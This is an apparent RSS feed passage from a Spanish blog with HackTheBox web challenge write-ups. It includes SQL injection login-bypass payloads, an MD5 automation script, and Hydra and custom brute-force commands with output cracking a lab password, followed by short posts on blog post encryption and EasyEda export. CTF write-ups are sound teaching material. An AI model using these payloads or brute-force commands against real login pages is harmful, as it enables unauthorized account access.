&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="s1">&amp;#39;||&amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="s1">&amp;#39;or&amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="n">aaa&lt;/span>&lt;span class="s1">&amp;#39; OR &amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez puesto un login valido nos redireccionará a la url &lt;em>&lt;a class="link" href="http://docker.hackthebox.eu:32093/panel.php?info=home" target="_blank" rel="noopener"
>http://docker.hackthebox.eu:32093/panel.php?info=home&lt;/a>&lt;/em>, si la analizamos un poco, veremos que usa el fichero &lt;em>panel.php&lt;/em> y luego recibe como parámetro &lt;em>info=home&lt;/em>.&lt;/p>
&lt;p>Si usamos comandos como &lt;em>dirb&lt;/em> para buscar ficheros y directorios en la web, no se conseguira nada.&lt;/p>
&lt;p>Jugando con el parámetro &lt;em>info=&lt;/em> vemos que obtenemos un &lt;em>Not Found!&lt;/em>, por lo que puede que estemos acercándonos al objetivo.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/cartographer_error.png"
loading="lazy"
alt="error"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Dado que es un CTF y se busca un flag, se prueba a poner &lt;em>info=flag&lt;/em> y justamente obtenemos el flag.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/cartographer_flag.png"
loading="lazy"
alt="flag"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p></description></item><item><title>Emdee five for life Writeup HackTheBox Web Challenge</title><link>https://www.procamora.com/p/emdee-five-for-life-writeup-hackthebox-web-challenge/</link><pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/emdee-five-for-life-writeup-hackthebox-web-challenge/</guid><description>&lt;img src="https://www.procamora.com/covers/htb.png" alt="Featured image of post Emdee five for life Writeup HackTheBox Web Challenge" />&lt;p>La descripción del reto es la siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Can you encrypt fast enough?
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Al acceder a la web vemos que nos da un string y nos pide que lo cifremos en MD5 y lo enviemos.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/Emdee_login.png"
loading="lazy"
alt="Login"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Si lo enviamos con el navegador vemos que nos dice &lt;em>Too slow!&lt;/em>, por lo que se puede suponer que es necesario realizar un script que haga esta acción para realizarlo de forma mas rápida.&lt;/p>
&lt;p>Si analizamos el trafico vemos que unicamente se envía un POST en el que el form contiene el hash del string proporcionado, por lo que en principio solo sera necesario realizar un GET a la web para obtener el string, calcular el hash y realizar un POST para capturar la respuesta y obtener el flag, pero esta primera prueba no ha funcionado, por lo que se ha realizado un análisis mas detallado del tráfico.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/Emdee_fail.png"
loading="lazy"
alt="Login"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Si analizamos la cabecera vemos que hay un campo para cookies, tanto en el GET como en el POST, por lo que este puede ser el motivo por el que falle el POST.&lt;/p>
&lt;pre>&lt;code> Cookie pair: PHPSESSID=fnroeunk08h8hl7v0ubhn4bcr6
&lt;/code>&lt;/pre>
&lt;p>Finalmente se actualiza el código para tener en cuenta los cookies en el POST y se realiza la petición. El código que realiza esta acción se puede ver a continuación:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -*- coding: utf-8 -*-&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">hashlib&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">regex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;h3 align=&amp;#39;center&amp;#39;&amp;gt;(.*)&amp;lt;/h3&amp;gt;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt_md5&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">string&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">hashlib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">md5&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">string&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hexdigest&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Get a la web para obtener el valor a cifrar&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://docker.hackthebox.eu:32246/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Creacon de la peticion post&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">response_regex&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">regex&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;hash&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">encrypt_md5&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response_regex&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">group&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">))}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">response_post&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://docker.hackthebox.eu:32246/&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">form&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cookies&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cookies&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response_post&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response_post&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Al ejecutarlo se obtiene la siguiente salida, en la que se puede ver el flag. Cabe destacar que este código se ha ejecutado varias veces y en alguna ocasión ha indicado que has sido muy lento, por lo que el timeout es muy bajo.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">html&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">title&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>emdee five for life&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">title&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">head&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">body&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;background-color:powderblue;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">h1&lt;/span> &lt;span class="na">align&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#39;center&amp;#39;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>MD5 encrypt this string&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h1&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">h3&lt;/span> &lt;span class="na">align&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#39;center&amp;#39;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>d3FXG8iZJs19dw6HkUXi&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">h3&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">p&lt;/span> &lt;span class="na">align&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#39;center&amp;#39;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>HTB{N1c3_ScrIpt1nG_B0i!}&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">p&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">center&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;&lt;/span>&lt;span class="nt">form&lt;/span> &lt;span class="na">action&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span> &lt;span class="na">method&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;post&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">input&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;text&amp;#34;&lt;/span> &lt;span class="na">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;hash&amp;#34;&lt;/span> &lt;span class="na">placeholder&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;MD5&amp;#34;&lt;/span> &lt;span class="na">align&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#39;center&amp;#39;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">input&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">br&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">input&lt;/span> &lt;span class="na">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;submit&amp;#34;&lt;/span> &lt;span class="na">value&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;Submit&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">input&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">form&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">center&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">body&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">html&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Lernaean Writeup HackTheBox Web Challenge</title><link>https://www.procamora.com/p/lernaean-writeup-hackthebox-web-challenge/</link><pubDate>Thu, 28 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/lernaean-writeup-hackthebox-web-challenge/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Lernaean Writeup HackTheBox Web Challenge" />&lt;p>La descripción del reto es la siguiente:&lt;/p>
&lt;p>&lt;em>Your target is not very good with computers. Try and guess their password to see if they may be hiding anything!&lt;/em>&lt;/p>
&lt;p>Con esta descripción podemos entender que podemos adivinar la contraseña, por lo que debería de estar en un diccionario de las contraseñas mas utilizadas. Por este motivo se realizará un ataque de fuerza bruta, para realizarlo podemos usar tres herramientas diferentes: Hydra, Burp Suite y un script propio.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/lernaean_login.png"
loading="lazy"
alt="Login"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Si analizamos la web se puede ver que solo es necesario introducir la contraseña, lo que hará que el ataque por fuerza bruta menos costoso en tiempo de ejecución. Si analizamos la petición que se realiza con el login, ya sea con Burp, Wireshark o el propio navegador vemos que unicamente se envía el campo &lt;em>password&lt;/em> y como respuesta recibimos la misma web pero con un &lt;em>Invalid password!&lt;/em>.&lt;/p>
&lt;p>Si se realiza el ataque con Hydra, sería necesario indicar los siguientes argumentos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">hydra -l admin -P 10-million-password-list-top-10000.txt docker.hackthebox.eu http-post-form &lt;span class="s2">&amp;#34;/:password=^PASS^:Invalid password!&amp;#34;&lt;/span> -s &lt;span class="m">32345&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Con lo que obtendríamos una salida similar a esta indicando que la contraseña es &lt;em>leonardo&lt;/em>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-11-28 15:17:33
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[DATA] attacking http-post-form://docker.hackthebox.eu:32345/:password=^PASS^:Invalid password!
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[STATUS] 788.00 tries/min, 788 tries in 00:01h, 9212 to do in 00:12h, 16 active
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[32345][http-post-form] host: docker.hackthebox.eu login: admin password: leonardo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1 of 1 target successfully completed, 1 valid password found
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-11-28 15:19:42
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si se realiza el ataque con el script propio, que puede encontrase en el siguiente &lt;a class="link" href="https://github.com/procamora/Pentesting/blob/master/bruteforce_post_async.py" target="_blank" rel="noopener"
>repositorio&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">python3 bruteforce_post_async.py http://docker.hackthebox.eu:31658/ &lt;span class="s1">&amp;#39;Invalid password!&amp;#39;&lt;/span> -l admin -P 10-million-password-list-top-10000.txt -j &lt;span class="s1">&amp;#39;{&amp;#34;password&amp;#34;:&amp;#34;&amp;#34;}&amp;#39;&lt;/span> -v
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Se obtendría la siguiente salida:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"> DEBUG - bruteforce_post_async - bound_fetch - Trying 1395/10001: user: &amp;#34;admin&amp;#34;, pass: &amp;#34;lancer&amp;#34; -&amp;gt; Fail
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> DEBUG - bruteforce_post_async - bound_fetch - Trying 1401/10001: user: &amp;#34;admin&amp;#34;, pass: &amp;#34;siemens&amp;#34; -&amp;gt; Fail
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> DEBUG - bruteforce_post_async - bound_fetch - Trying 1403/10001: user: &amp;#34;admin&amp;#34;, pass: &amp;#34;minnie&amp;#34; -&amp;gt; Fail
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> DEBUG - bruteforce_post_async - check_regex_response - EXITO
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> WARNING - bruteforce_post_async - bound_fetch - Trying 1404/10001: user: &amp;#34;admin&amp;#34;, pass: &amp;#34;leonardo&amp;#34; -&amp;gt; Success
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si introducimos como contraseña &lt;em>leonardo&lt;/em> en el login vemos que nos muestra la siguiente pantalla:&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/lernaean_correct.png"
loading="lazy"
alt="Correct"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Parece que algo no estamos viendo, por eso volvemos a realizar el proceso de login pero en esta ocasión capturamos todos los paquetes que recibimos, ya sea con Burp, Wireshark o el navegador, y veríamos que en la respuesta el POST con el login viene el flag que buscamos, como podemos ver a continuación:&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/lernaean_response.png"
loading="lazy"
alt="Response"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Cabe destacar que se ha calculado los tiempos de ejecución para ambos y han sido los siguientes:&lt;/p>
&lt;ul>
&lt;li>Tiempo de ejecución de hydra: 1m33,668s&lt;/li>
&lt;li>Tiempo de ejecución de script: 0m4,643s&lt;/li>
&lt;/ul>
&lt;p>Esto se debe a que mi script manda peticiones asíncronas en bloques de 1000. Posiblemente Hydra también se pueda configurar para que aumente las conexiones paralelas, pero en esta ocasión se han dejado por defecto.&lt;/p></description></item><item><title>Test Secret Post. pass: secret</title><link>https://www.procamora.com/p/test-secret-post/</link><pubDate>Thu, 31 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/test-secret-post/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Test Secret Post. pass: secret" />&lt;p>Para encriptar un post solo es necesario escribir en la cabecera markdown del articulo: &lt;code>Password: secret&lt;/code>. Podemos ver un ejemplo a continuación:&lt;/p>
&lt;pre>&lt;code>Title: Test Secret Post
Date: 2019-10-31 16:20
Modified: 2019-10-31 16:20
Category:
Tags: secret
Authors: procamora
Slug: test-secret-post
Summary:
Status: published
Password: secret
&lt;/code>&lt;/pre></description></item><item><title>Export EasyEda</title><link>https://www.procamora.com/p/export-easyeda/</link><pubDate>Wed, 30 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/export-easyeda/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Export EasyEda" />&lt;p>Aquí se va a explicar como exportar el esquemático y el PCB como imágenes, si se quieren usar para diseñar un PCB sera necesario espejar la imagen y aquí no se explica por el momento.&lt;/p>
&lt;h1 id="exportar-esquemático">Exportar Esquemático&lt;/h1>
&lt;p>Para exportar el esquemático se puede hacer en formato SVG de la forma:&lt;/p>
&lt;p>File &amp;gt; Exportar &amp;gt; SVG &amp;gt; Exportar&lt;/p>
&lt;p>Una vez que esta localmente, se podría convertir a formato PDF en caso deseado usando Inkscape, de la forma:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">inkscape --file&lt;span class="o">=&lt;/span>Schematic.svg --export-area-drawing --without-gui --export-pdf&lt;span class="o">=&lt;/span>Schematic.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Tambien se puede convertir a formato PNG aumentando el DPI para mejorar la calidad, de la forma:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
